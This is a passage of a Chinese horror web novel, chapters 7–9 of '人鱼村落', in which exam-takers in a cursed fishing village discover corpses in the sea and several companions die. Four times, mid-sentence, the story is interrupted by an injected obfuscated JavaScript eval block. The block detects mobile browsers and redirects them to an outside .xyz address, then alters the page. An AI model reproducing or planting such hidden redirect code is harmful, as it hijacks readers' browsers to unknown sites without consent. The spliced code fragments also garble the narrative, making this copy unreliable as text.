“海边我们白天不是去过嘛,明明什么都没有,连条鱼都没有,海边怎么会有线索,我们一起回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460640|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,我一个人害怕,外面太危险了,你一个人更危险啊。”时越一边嘀嘀咕咕一边拽着她的袖子捂着眼睛跟在她后面,还在之前恐怖的东西已经消失不见。 “无论是我觉得绝不可能出现在这里的许芸芸还是吸引你来这里的我,似乎都在引导我们往这个地方来,而且这个地方也是村民祭祀的地方,白天的海里什么都没有,深夜的海里或许会有什么不同。”陈喻死死地盯着那个位置,“而且你有没有闻到夜晚的海水臭得熏人?” “我没有时间了,我必须提前离开这里,现在得到的线索太有限了,我必须抓住一切寻找线索的机会,或许至关重要的线索就隐藏在这些令人畏惧的地方”陈喻的眼神里带着执着。 她们走近那棵正对着窗户的木麻黄树,深夜的海水不再清澈透亮,而是变成了浓重的墨蓝色,拍在海岸上的浪潮似乎要将岸上的人卷入深海。 “你能看清吗?”陈喻问,“我出来前明明有月亮的,现在怎么没了。” “哪有月亮啊,不行,太黑了。”时越从身上鼓捣一阵,掏出一样东西。 陈喻默默看她一眼。 时越挠头:“我也不知道怎么带进来的,一直怕没电不敢用。” 那是一部手机。 时越打开手机手电筒照入水面,由于看不清她贴着水面往下瞅了眼。 不瞅还好,这一瞅差点没跳起来。 “卧槽!!!” “卧槽卧槽!!!!” “怎么了?看到什么了?”陈喻也贴着水面向下看去。 “卧槽!!!” 她俩条件反射喊得此起彼伏,一时间也分不清是谁在喊。 灯光打在海面上,映出海面下无数泡得浮肿发白的脑袋胳膊腿,臃肿的脑袋和黑洞洞眼眶对着她俩,苍白的胳膊触碰上她们站在海水中的小腿,数不清的尸首挤满了整个海域。 陈喻总算知道为什么晚上的海水这么腥臭难闻,难怪那些村民每天都要在这里祷告,这里简直就像一片水中的乱葬岗,怨气不知道有多重。 “历代的村民不会都葬在海里吧?”时越说。 “你怎么确定里面的都是村民?这村子里有这么多村民吗?你怎么知道里面会不会是游客?”陈喻神情复杂。 “……不是吧。” “你说海里还有没有其他东西?这样人的存在代表的究竟是什么角色呢?他们是海里的鱼呢还是鱼食呢?”陈喻说。 浓重的夜色和糟糕的海景终究不太安全,陈喻和时越没敢过多停留,转身进了陈喻住的那间屋子。 时越住的那间屋子离海边稍远一些,她没敢再回去,而是在陈喻屋子睡了一宿。 第二天清晨的时候,时越怕许芸芸看到她不在担心,便拉着陈喻回昨晚自己住的那间屋子找许芸芸。 “芸芸!” 时越拍了拍门,见没什么反应就自己推门走了进去。 陈喻走在后面还没进门就听到她喊了句“卧———” 几乎是瞬间,她冲进了厕所。 陈喻刚刚走进门就闻到一股熟悉的腐臭味,只见靠门的那张床上许芸芸静静地躺着,脖子上的贝壳项链深深勒入脖颈之中,周遭全是鲜红的血液。 更让人窒息地是,在许芸芸的脖颈上还紧紧地缠着一个塑料袋,她的腰部和脚踝被塑料瓶以诡异地姿势勒出深重的血痕,嘴里塞满了塑料垃圾。 陈喻愣了几秒,也冲进了厕所。 7. 人鱼村落(7) 没过多久,许芸芸屋子门口挤满了人,几人的脸色都不大好看。 “她为什么突然会死?”戴着棒球帽的男生看着时越问,“昨晚到底发生什么了?” 时越刚刚吐过,苍白的脸上全是无措,她不知道许芸芸究竟是什么时候出的事,昨天晚上出门前她摇了对方很久都没有动静,或许,从那个时候许芸芸就已经出事了? “她昨晚和我住在一起。”陈喻说,“这边的事她也不清楚。” “你们俩为什么会住一间?”秦曜审视的目光透过镜片落在陈喻身上。 “昨天许芸芸的反常我想大家有目共睹,如果跟各位同一间屋子的人一直在做出反常行为,甚至有些暴力自残倾向的举动,我想各位也会对此产生恐惧,毕竟这里不是现实世界,无论发生什么超自然现象都是不可控的,谁不希望死的那个人是自己,不是吗?”陈喻顶着两个黑眼圈面无表情地对上秦曜的审视。 昨天晚上的发现还不能告诉他们,在这个考场里,作为一个初入考场的新人,她实在很不占优势,无论是对规则的理解和潜规则的探索,还是过往的经验和能力,她现在能做的就是掌握尽量多的线索,这样到后面才有跟这些老人谈判的资本。 “……她是不是在便利店买过很多东西?”双马尾突然开口,“她是不是乱扔了那些垃圾?” “你怎么知道?”时越愣了一下。 “猜的而已。”双马尾抿了下唇,很不耐烦地说,“你们也不想想这是什么考试?这是饿大校内含金量最高的考试,肯定要在饿这个属性上设考验,怎么会弄出便利店这种便宜又充饥的bug,否则还要餐馆干什么?” “你既然早就分析出来了为什么不告诉我们?”时越有些难以置信,想起一直在她身边战战兢兢的许芸芸,再看着旁边几个人感觉身上的血都是凉的,“你们早就都知道了吗?!你们当然什么都明白了,你们都是参加过考试的人,你们的经验多丰富啊,在你们眼里我们只是随时都会死的新人而已,所以我们的命根本就不算命吗?所以你们就眼睁睁地看着我们去送死吗?!” “你听不明白话吗?!她都说了是猜的!”棒球帽也有些不悦,“参加过考试不代表经验有多丰富,况且每场考试都千差万别,没有人知道怎么选一定是对的,每次猜测也不过是拿命赌博而已。” 时越没再说什么,之前看着黄毛死是一回事,如今看着许芸芸死又是一回事,毕竟许芸芸这两天跟她同吃同睡,时时刻刻都黏在一起,况且如果黄毛死是因为他没有去景点违反考试规定,那许芸芸呢? 是因为遵守规定去了景点却带回了不该带回来的项链?还是因为在便利店带回了不该带回来的食品?还是因为乱扔垃圾? 可是有不许乱扔垃圾这样的规定吗?难道说有些隐藏的规则也不能违反? 早饭还是黏糊糊的红豆粥,陈喻已经习惯了,她麻木地准备坐下吃饭,视线却被一道菜吸引过去。 只见长长的木桌中间放着一盆鱼食,而在鱼食旁边格格不入地放着一份烤鱼。 “监考今天给咱改善伙食了?”戴棒球帽的男生问。 “可海里不是没有鱼吗?”时越征愣地看着那份烤鱼。 “能吃吗?”大汉今天早上知道许芸芸出事的时候就一脸失魂落魄,都没敢进屋子,像是有了极大的心理阴影,此刻面色仍然苍白。 “先等村长来吧。”双马尾女生说。 陈喻注意到那个面色冰冷的女生默不作声地看了一眼双马尾,秦曜倒还是那副神情温和的微笑脸。 他们话音刚落,村长佝偻着身子走了进来,他坐在桌头的上位,正准备端起桌子上的粥一饮而尽,却突然好像嗅到了什么味道。 他放下了端在手里的粥碗,向着木桌上那碟烤鱼看去。 陈喻坐得离他比较近,清楚地看到他像老树皮般干燥青黑的脸上浮现出狂暴的怒意,眉弓突起,眼神凶狠,她听到他沙哑的嗓音喃喃:“……鱼……死掉的鱼……是罚……是罚……” 没等她听出什么,那老头突然猛得站起来将木桌掀了个底朝天。 一瞬间,老旧的木屋尘土飞扬,还好陈喻反应快,及时抽身没被砸到,不会双马尾女生就没那么幸运了。 “——啊!” 双马尾女生捂着半边胳膊疼得倒吸凉气,陈喻看到那老头居然还远远地瞪了那女生一眼才离开。 “辛夷!你怎么样?”带棒球帽的男生忙上前察看,秦曜也面带关切地围了上去。 如果没记错的话双马尾好像叫周辛夷。 他们团队倒是挺团结的。 不过陈喻总觉得哪里不对劲,村长这个态度就说明鱼不是他放的,相反他还似乎很畏惧鱼,或者是死掉的鱼? 可如果不是村长放的,又会是谁呢? 总不会是村民吧?可是村长的态度不能代表村民吗?总不会……他们几人中的某个人放的吧? 什么动机呢?激怒应该不会是他们的目的,看情况似乎没有人料到会出现这样的结果,那应该是……试探?验证猜测?拿命赌博? “这下惨喽,不仅没鱼吃,连粥的没得喝喽。”大汉一脸生无可恋,“只吃食堂的话钱要不够喽,还得攒钱看展览。” 对哦,少了顿早饭。 陈喻感觉更饿了。 “——古鲁嗒——咪啦——嗡啦——” 祷告又开始了。 陈喻转身就往出跑,这次直接冲到了海边,可是一切就像是丈量好的一样,还是晚了一步。 她亲眼看到村民往里面扔了很大一块像是肉的东西,可是站在海边的时候里面的海水明明那样清澈,只有空气里尚未散干净的一丝血腥味能证明刚刚不是幻觉。 她转身又回了许芸芸的屋子,那里已经空空如也。 她始终无法证实村民做祷告时扔在在海里的肉究竟是不是游客的尸身。 海里究竟有什么? 村民肯定知道点什么。 今天陈喻她们去的是东边花圃,没有了许芸芸,她们找得倒也不算很慢,应该是那是个很显眼的地方。 那是一片纯白色的花海,随着海风泛起波澜,旁边站着一个美丽的姑娘,她穿着黑色的斑点长裙,裙摆拖在地上的污泥里面,及腰的长发披散在身后,海风拂过她的长发,看起来温柔又美好。 只是陈喻走近之后发现那姑娘的脖子上有一些奇怪的斑点和血痕,让她不禁又想起之前在景点的遭遇。 “你们是来赏花的吗?你们喜欢我的花吗?村民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460641|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和游客都很喜欢我的花,他们说看到我的花可以就好像看到了自己的灵魂一样。”那个姑娘脸上洋溢着笑容,对着她们说,“你们知道吗?纯白的爱要用热烈去渲染,优秀的花匠可以种出最鲜艳的花朵。” “挑一朵你们喜欢的花吧,我会教你们怎样种出最鲜艳的花朵。” 陈喻心有余悸地想起之前的恐怖幻象,按照她的指示随意选了一朵白色花朵,时越因为上次木匠的事也不敢再怠慢,跟着选了和那朵花挨着的一朵。 “你们要走进来啊,但是我的花圃不可以穿着鞋袜进来,我们花匠都是不怕脏的呢。” 陈喻和时越对视一眼,然后两人乖乖脱了鞋袜,光脚走进了泥土里,这泥土的质感有些奇怪,滑腻又带着异样的感觉。 “看着你们选中的花,轻轻抚摸它,闭上你们的眼睛,感受你们内心的爱和热烈。”那姑娘一脸陶醉。 陈喻看着眼前洁白的花,突然觉得这花有点假,她伸手抚摸,却摸到那质感完全不像是鲜活的花瓣,分明是纸张的质感。 面前的是朵纸花。 她听从安排,轻轻闭上了眼睛。 爱和热烈? 不存在。 陈喻睁开眼睛,却看到指尖的的花朵变了样子,那白色的花朵似乎被染成了浅粉色,殷红的血色自她指间向整朵花飞速蔓延开来,那朵花不再纯白,而是变成了深红色,像是玫瑰一般。 花朵的质感也不再是纸张,而是变成了真正的花瓣。 然而陈喻已无暇再顾及眼前的花朵,她抬起头整个头皮都开始发麻,花圃挨着海边,那海里此时站起无数具泡得浮肿发白的尸身,他们的断臂残肢胡乱拼凑在一起,乱七八糟地朝着她这边走来。 她下意识地想要后退,却发现腿脚像是陷在泥里面一样无法动弹。 低头一看陈喻更是心惊肉跳,这哪里是正常的泥,这不是……肉泥吗?旁边甚至还有稀碎的脑花…… 再一看这周围哪还有一朵白花,这泥里面分明插满了满园的残肢断臂。 不对,肯定又是幻觉! “卧槽卧槽卧槽!!!!!” 时越一边大喊一边拽住旁边的陈喻,陈喻一头冷汗瞬间下来了。 时越是正常的。 “卧槽!怎么办啊陈喻?咱俩不会要挂在这吧?!”时越死死抓着她的胳膊。 “……应该不会,不可能没有解法,但这种幻象居然不是看明白了就能解除的吗?”陈喻自言自语,“到底是哪里有问题……难道是花?” 她低头看到自己和时越面前的花都鲜红无比,可那天她看到周辛夷腰间别的那朵却是浅红色,难道是花的颜色有问题? 为什么会看到海里的那些东西?是因为这是这里原本就有的幻象,还是说因为昨天晚上她们看到了那些? 那个姑娘说,爱和热烈? “闭上眼睛,试着想点美好的东西。”陈喻说。 陈喻重新闭上了眼睛,考研的时光很漫长,那段时间她碰电子设备都很少,她实在不知道什么叫美好的东西,所以她娴熟地在心里默默背了会儿书。 等到她再睁开眼,眼前的恐怖已经不复存在,指间之下俨然是朵纯白无暇的花朵。 所以赌对了吗? 8. 人鱼村落(8) “啊,你们可真是糟糕的花匠呢,根本就种不出鲜艳的花朵,既然如此,你们就不可以带走它们了。”穿着斑点长裙的阿丽有些生气地说。 陈喻看着指尖纯白色的花朵,地上的泥土也已经恢复正常,旁边时越的花朵也变成了纯白色,她们心有余悸地从阿丽的花圃中走了出来。 “……我好饿。”时越在陈喻耳边说。 原本饥饿属性就会在考场中无限放大,而她们这几天每天只能吃两顿饭,况且今天还由于意外情况没吃早饭,她俩此时都饿得眼冒金星。 餐馆里今天并没有聚集全部的人,只有大汉和那个冷冰冰的女生在,大汉正在埋头吃饭,而那个女生则气定神闲地坐在其对面喝茶,陈喻和时越一人要了一份饭吃得狼吞虎咽。 “就剩一百块了,再这么下去就要没饭吃饿死在这里了。”大汉抹着嘴上的油一脸忧心忡忡,“这人鱼展览也太贵了,真的非去不可吗?” 听了这话陈喻也有些郁闷,确实,再这么下去没被鬼整死也会被饿死,在现实世界人不吃饭七天会饿死,那在里面呢? 饥饿感被无限放大,时间恐怕只会更短,而且如果这个考试中饥饿属于考验项目,这又是场限时考试,如果她是命题人,她设定的饥饿致死时间肯定会比考试时间短,甚至比最快答题完毕的时间还要短,可是最快是多快呢? 就好像现实中考试中途的交卷时间限制一样,不到半小时或者一小时不得提前交卷离场,其实在这场考试中也存在着同样性质的东西,那就是未彻底公布的题目,是监考老师规定好必须参加的人鱼展览,而在考试一开场监考就告诉大家展览会在第四天开放,也就是说第四天才可以看到考试题目的全貌,而在这之前没有考生可以更早交卷离开。 如果是她来命题,饥饿致死的时长最多三天。 但这场考试还算仁慈,它给了他们刚刚好四天的饭钱,如果进展顺利,四天公布完题目之后就可以提前交卷离开,根本不需要担心资金的问题,可关键问题是,有几个人能以最快的速度答题完毕并交卷离开呢? 眼下他们不得不考虑四天之后的生存问题。 “在考试中不吃饭多久会饿死?”陈喻对着大汉对面那个看上去冷冰冰的女生问。 没记错的话,秦曜之前跟她说那个女生叫苏韵。 苏韵像是没料到她会问自己,偏头看了她一眼说:“短则一天,长则三天。” 陈喻记得周辛夷以前说过这场考试是饿鬼大学含金量最高的考试,难度只高不低,恐怕对饥饿属性的考验也是最强的,饥饿致死天数只会短不会长。 “其实我之前就在想,之前意外出事的考生……他们身上的资金我们能不能拿来用?”时越试探着问。 “你们以为我没想过吗?我昨天还忍着恶心回去之前住的屋子,根本就没找到黄毛身上的钱,我猜他可能随身携带,然后前跟他的尸体一起消失了。”大汉声音闷闷地说。 苏韵本来没打算搭话,但是余光扫到陈喻的时候看到她投向自己的炙热目光,那目光里充满了深深的求知欲,苏韵真的有点受不了这种眼神,她顿了一下开口:“资金属于本场考试的限定道具,跟每位考生是绑定的,不能转让。” “我还有一个问题。”陈喻踊跃发言,“我很早就想问了,为什么我从来没见过你们几个买饭,你们不饿吗?” 苏韵面无表情地看着她,看起来似乎没什么耐性。 “或者我换个问题,你知道今天早上的烤鱼是怎么来的吗?”陈喻看着苏韵的眼神满是求知若渴。 苏韵头疼地转过脸去,心想刚刚要是不搭理她好了。 “你问的其实是同一个问题。”苏韵抿了口茶,“你们是新生,专业技能都还处于未激活状态,等到你们从这里出去了就都明白了,要是没能出去也不用明白了。” 苏韵说完这句话,没有多做停留,直接朝着外面走去,大汉早已吃完了饭,火急火燎地赶忙跟了上去。 陈喻跟许芸芸也没多留,吃完饭就开始在村子里找线索。 陈喻边走边想,她在面板上确实看见过专业技能这几个字,听苏韵的意思这些都跟专业技能有关,专业技能究竟是什么东西? 专业技能从字面上看类似于大学学的专业,饿鬼大学会开设什么样的专业?一个附带饥饿属性的学校对学生来说最有用的是什么? 饥饿感是普遍存在的,老手肯定也会饿,所以周辛夷每天也都会买饭,但其他几个人为什么不需要,除非他们不用花费身上的金额就拥有食物,就像那碟凭空出现的烤鱼一样。 跟食物有关的技能吗? “陈喻,那是不是个村民?”时越指着不远处穿着花布衣衫正在洗衣服的妇人说。 “过去问问。” 因为前车之鉴,她们走过去的时候悄无声息,生怕惊动了那妇人,不知道为什么,村子里的大多数村民都有些躲着她们。 “阿姨,我想问您一下事……”时越刚刚开口,那妇人就瞬间反应过来,瑟缩了一下身子作势想要起身往身后的屋子里面跑。 陈喻两手抓住对方肩膀将其按在凳子上:“您这么害怕我们做什么?人鱼村不是很欢迎外来游客的嘛,您这样躲着我们,要是让村长他老人家知道了恐怕会不高兴的。” 那妇人听了她的话瞬间白了脸,她放弃了挣动,只是低声问:“……你们想问什么?” “人鱼村究竟发生过什么?为什么这里的水里一条鱼都没有?” 陈喻边问边注视着对方的脸色,她清楚地看到她话问出口后那妇人瞬间面如白纸,在她掌下的身子在微微发抖。 “……还不都是……还不都是因为你们!”那妇人脸上闪现过一抹恨意。 “这里真的有人鱼吗?你见过吗?”时越站在妇人对面问。 她的话刚刚问出口陈喻就清晰地感觉到手下的身体抖如筛糠,甚至有些压不住了,那妇人使出巨大的力气站起身来,猛地推了陈喻一把。 “……罚……是罚……”妇人喃喃着冲向自己的屋子,并将屋门牢牢锁上。 陈喻被她推得一屁股坐在地上,好在地上不是很坚硬,全都是沙子。 “石伐?”时越满脸不解,“早上村长也这么说来着,啥意思啊?” “不知道。” 村民这里暂时也没找到什么有用的线索,时越突然想去厕所,她就近挑了一个空屋子进去,陈喻站在外面等她。 村民为什么好像很畏惧他们?但村长和景点的村民对待他们的态度却截然不同,还有,水里没有鱼跟游客又有什么关系? 这里之前到底发生过什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460642|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?看来必须去完明天的人鱼展览才能有新线索了。 陈喻低头思索着,突然听到不远处却传来熟悉的声音。 “……秦哥,我是不是……是不是要死了?为什么?我居然被魇住了,那个新生也是这样被勒死的,我很快也会死吗?” 是周辛夷的声音。 “你先别紧张,那个新生也是因为卡便利店的bug,乱扔垃圾,而且这物件的效果也不会那么快,异化是有个过程的,至少你现在对鱼食还没有什么食欲。”秦曜安慰她。 “可是为什么?为什么监考今天会是那个反应?他看到鱼的态度竟然是愤怒,他甚至还瞪了我一眼,他都知道,他全都知道!他会杀了我吗?!我是不是做错了?!”周辛夷的声音里带上了哭腔,“秦哥,你说好会带我通过考试的,我一直都很相信你,你一定要救我,你一定还有办法救我的对不对?” “当然了,我们是校友,还是队友,我不会见死不救的。”秦曜温和地说。 “好了辛夷,你先别担心了,我想知道明天人鱼展览到底会发生什么?明天题目几乎就会全部展开了,你们有什么头绪吗?”带棒球帽的男生说。 秦曜:“村长今天的反应很说明问题,他对鱼的态度显然很不友好,你们猜他对人鱼的态度会怎么样?” 带棒球帽的男生:“恐怕也好不到哪里去。” 秦曜:“留给我们的时间不多了,辛夷接下来可能会产生一定程度的异化,耗太久对我们不利,我们尽量速战速决,明天是我们突破的机会。” “我好了,咱们走吧。” 时越的声音打断了陈喻的思绪,也惊动了不远处的三人组,秦曜他们从旁边的角落里走了出来。 陈喻一眼就注意到周辛夷脖子上多出来的珍珠项链,他们今天去刘婆婆那里了。 “真巧啊。”秦曜笑着对陈喻说。 “是啊,秦先生也在附近找厕所上吗?”陈喻问。 “来附近找找线索。” “秦先生有什么收获吗?” “暂时还没有。”秦曜扶了下眼镜,“不知道上次跟你谈的事,你考虑的怎么样了?” 陈喻神色恹恹:“我觉得保持现状就挺好。” 秦曜听了再没多说什么,跟她们道别又往其他地方去了。 陈喻实在不知道秦曜对她的屋子究竟有什么执着,但是她知道没有天上掉馅饼的好事,秦曜三番四次要跟她换房间绝对不会是对她有利的事。 由于昨晚许芸芸出了那样的事,今晚时越直接跑来陈喻这里睡,两人确定对方都看不到房间的窗户,草率收拾了一下就休息了。 今夜的失眠的却另有其人。 周辛夷简单洗了把脸就躺在了床上,可她翻来覆去睡不着,从昨天开始她就已经看不到屋子里的窗户了,她现在满脑子都是那个五官扁平的小姑娘给她戴上那串珍珠项链的场景。 她翻了身,又想起早上村长瞪她那一眼,今天的夜晚格外漫长,她强迫自己紧闭双眼快速入睡,在这里半夜清醒可不是什么好事。 不知道什么时候,一阵冷风吹得她直打哆嗦,她正准备裹紧被子,耳边却响起了窗柩被拍响的声音。 ———咚咚咚!! ———咚咚咚!! 她彻底清醒了。 9. 人鱼村落(9) ———咚咚咚!!! 拍打窗户的声音越来越大,周辛夷缩着身子将脸埋在枕头里,她不是第一次参加考试了,晚上的考场出现什么都不奇怪,但她畏惧看到那些东西。 那声音根本不像是风声,根本就是有人在用力地敲,没敲一下就像是砸在她心头,明明是这样大的声音,旁边的苏韵却睡得很沉。 “辛夷!” 周辛夷缩在床上听到了熟悉的声音。 是秦曜?! “辛夷,我找到救你的办法了。”窗外的人说。 真的是秦曜吗? 可秦曜为什么半夜来找她? 她把脸从枕头上挪开,缓缓向着窗外看了一眼,窗外站着的果真是秦曜,他看起来有些着急,注意到她投射过来的目光时,对方脸上带上了温和的笑容,停下了手上敲打的动作。 “晚上的村子跟白天果然不一样,我找到了重要的线索,你快出来一下,别让别人发现了。”秦曜低声说。 周辛夷正欲再问,对方却似乎很着急,没有多做停留,跟她说完就朝一边走了。 “哎秦曜———” 她趴在窗边向外望去,看到秦曜不是一个人,旁边那人戴着棒球帽,是韩少宇。 他们都是她的队友,应该不会害她。 ———可如果他们是鬼呢? 周辛夷顿时起了一身鸡皮疙瘩,她低头摸了一下脖子上的珍珠项链,那项链已经比白天的时候更短了,不知道什么时候就会勒入她的脖子。 秦曜曾经跟她说过最有用的线索往往处于众人都不敢触碰的地方。 秦曜如果出来,肯定会带上韩少宇的,他们是队友,他们应该永远呆在一起,她不能被丢下。 她没有时间了,至少她不能安静地死在今夜。 大概是因为自己离窗户比较近,那敲打声没有惊扰到苏韵分毫。 周辛夷轻手轻脚推门而出。 “秦哥?少宇?” 她向着那两道熟悉的身影走去,夜晚的村落暗得没有一丝光,她只能看到两个黑黑的影子在往海边走。 海风裹着窒息的腥臭味折磨着她的鼻腔,她强忍着不适走向海边。 “辛夷,你看到了吗?水里有东西。”秦曜低头将脑袋贴在水面上,“你快来看看,我们很快就能离开了。” “真的吗?今晚就可以走吗?”周辛夷欣喜不已,“秦哥,我早就受够了,快带我走吧。” 她将头低了下来,学着秦曜和韩少宇的样子探头去看:“秦哥,这里好暗,我什么都看不清……” “看不清吗?”他的声音里藏着不可觉察的笑意,“那现在呢?” 突然,像是天光大亮,洁白的月光洒在水面上,她也看清了水下的光景。 “现在好多了……”视线聚焦,她瞳孔骤缩,“啊啊啊啊———” 惨叫声划破长空。 被浸泡得发白浮肿的尸体密密麻麻地堆积在海里面,像是填平了整个海域,残肢断臂乱七八糟地搁置在水里面,与她离得极近的碎了一半的脑袋似乎在朝着她的头靠近,而最糟糕的是,她似乎动不了了。 “———救命啊!!!秦曜!!!” 哪还有什么秦曜? 她分明着了道。 殷红的鲜血开始在水里疯狂蔓延,她无措地发现那殷红的来源竟是出自自己,她顺着那血迹找寻,发现那殷红是自自己腰间那朵浅粉色的花上肆意蔓延的。 血红所过之处,那些尸体竟像是活了过来一样全部动了起来,浮白臃肿的腿压在她的小腿上,涂抹着鲜红指甲的手紧紧抓住了她的脚踝,指间窜过滑腻黏连的物件,胳膊被两个圆滚滚的眼球碰触着…… 她一直在担心自己脖子上的项链,却没想到最后害她性命的居然是这朵花。 她感觉到整个身体都被慢慢往下拖拽,很快,她会变得跟这些东西一样,浮肿可怖,散发恶臭。 失去意识之前,她仰面朝上看到了那所谓的月亮,原来那根本就不是月亮。 “———救命啊!!!救命啊!!!来个人救救我啊!!!啊啊啊啊———” 她撕心裂肺地呐喊着,那声音却被裹进了海风里吹散在角落,怎么也传不到众人的耳朵里。 外面的夜海风肆虐,惨叫哀嚎,屋里的夜却静谧安详,他们甚至不能透过窗户看到外面的光景,他们静静躺在像棺材一样的屋子里,让人分不清究竟哪边才最接近清醒,最接近现实。 陈喻今天起得很早,眼下浓重的黑眼圈透露着她昨晚睡得并不安详。 时越起来的时候就看到她又站在海边的木麻黄树下,时越对她的勤奋好学表示不理解,但尊重。 “周辛夷失踪了。”苏韵站在不远处说。 “你说什么?她怎么不见的?”韩少宇瞪着眼睛问她,“你们不是住一间吗?你连人都看不住。” 苏韵:“她三岁还是五岁?” 韩少宇:“……” “昨晚到底什么情况?”秦曜也走了出来。 “不知道。”苏韵脸上还是一如既往地冷漠,“睡觉的时候还在,早上就不在了。” “你们昨晚有谁见过她吗?”秦曜问。 晚上休息之后一般没人会再跑出来,大汉和时越都说自己不清楚。 “我见过。”陈喻说。 众人听了这话都向着陈喻看去。 “你什么时候看见她的?在哪看见她的?”秦曜问她。 “昨天睡到半夜的时候,我透过我屋子的窗户看到了她,她当时站在海边,我亲眼看到她自己躺进海里。”陈喻说。 韩少宇难以置信:“怎么可能呢?她那么怕死怎么可能自己躺进海里?再说了,你会大半夜不睡觉盯着窗户看海,你说胡话也打打草稿吧。” 陈喻摊手:“信不信由你。” 韩少宇又瞪着她说:“所以你就亲眼看着她赴死吗?” 陈喻闻言瞥了他一眼:“那不然呢,给她陪葬?” 韩少宇:“……” “我相信你。”秦曜微笑着对陈喻说,“我可以了解更多细节吗?我想这对本场考试快速结束有一定帮助,我也可以保证后期我们信息的共享,我一直觉得陈小姐会是个不错的合作对象。” 秦曜这话一出在场几人的神情都有些复杂,时越站在旁边一头雾水,苏韵也意味深长地看了秦曜和陈喻一眼。 “我知道的都告诉你了,至于她是不是自己躺进去的我不是很确定,因为她躺的姿势很僵硬,看起来有点像被外力拖拽下去的。”陈喻看着面前的海域,“夜晚的村落本来就不太平,我也无法确定我看到的是人是鬼。” “我只能忠告各位,晚上如非必要,还是不要轻易出门为好。” 陈喻不确定有没有人遇到她跟时越之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460643|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前碰到的那种情况,但至今确实没有听人提起过,这里的东西似乎会在夜深人静之时挑选幸运游客将其引至海边的木麻黄树下,这或许是寻找线索的良机,也或许是杀人的手段,她无法完全判断,谁也无法保证自己不会成为下一个周辛夷。 有了之前的遭遇,今天几人的心理承受能力高了不少,或许是因为没有看到周辛夷残忍的死状,又或许是因为今天是人鱼展览的日子,大家都觉得这里应该会有至关重要的线索,说不定等掌握了新的线索他们很快就可以从这里出去了。 早饭还是红豆粥,虽然今天的桌上没有了奇怪的烤鱼,但木桌中间却莫名其妙多了三大盆鱼食。 ——吱呀! 木门被推开,村长佝偻着背走了进来,陈喻注意到他老树皮般干枯粗糙的脖颈上有一些乱七八糟的痕迹,像是划伤还是什么,最突兀的,还是他的眼睛。 他的眼睛变得很圆,眼白正中间是小小的黑眼珠,这根本不像正常人的眼睛,反倒是很像鱼的眼睛。 陈喻正这么想着,突然村长站起身来,端起木桌正中央的一盆鱼食直接倒进了嘴里。 几人在旁边看得目瞪口呆,还没等他们反应过来,木桌中央又伸出了一双手,是大汉。 大汉两手抓着两大把鱼食疯狂往嘴里塞,陈喻看着这一幕微微蹙起眉头,倒不是因为村长和大汉的反常,是因为她看到鱼食的时候竟然产生了食欲。 “……” 一定是太饿了。 “今天人鱼展览就会对外开放,我之前已经提醒过各位了,人鱼展览是自费项目,不包含在套餐范围内,我要先看到各位的门票才可以带各位进去的。”村长自顾自地说。 “要知道很多人都是因为人鱼展览慕名而来的,我们人鱼村最吸引人的景点莫过于此了,我打赌你们一定没有见过这样的人鱼,那是世界上最美丽的事物。” 他说着说着竟然有些陶醉其中,边说边在前面带路。 “是我的错觉吗?我怎么觉得村长的眼睛有点像死鱼眼,之前好像不这样。”时越低声说。 “我有一个问题。”陈喻的脸色不太好看,“在考场上,监考老师会不会死?” “不无可能。”秦曜扶了下眼镜,看起来是个有些麻烦的表情。 “你看到的村长只是监考的一种表现形式而已,监考在不同考试中有很多种呈现形式,不一定会作为实体呈现,而且就算作为载体的实体消亡了,规则本身也依旧存在,监督体系依旧正常运作。”苏韵面无表情地说。 看着时越他们一脸懵逼的样子,又补充道:“简言之,村长会死,但死了对我们也没什么影响。” “就算他没有宣读完题目就挂掉,考场也能自动补全吗?”陈喻问。 “你太小看考场运作机制了,整个考场又不是全指望他一个人。”苏韵回她,“不过有时候这种情况也会导致一些麻烦。” 秦曜看了苏韵一眼,微笑着说:“苏代表果然经验丰富,真是受教了。” 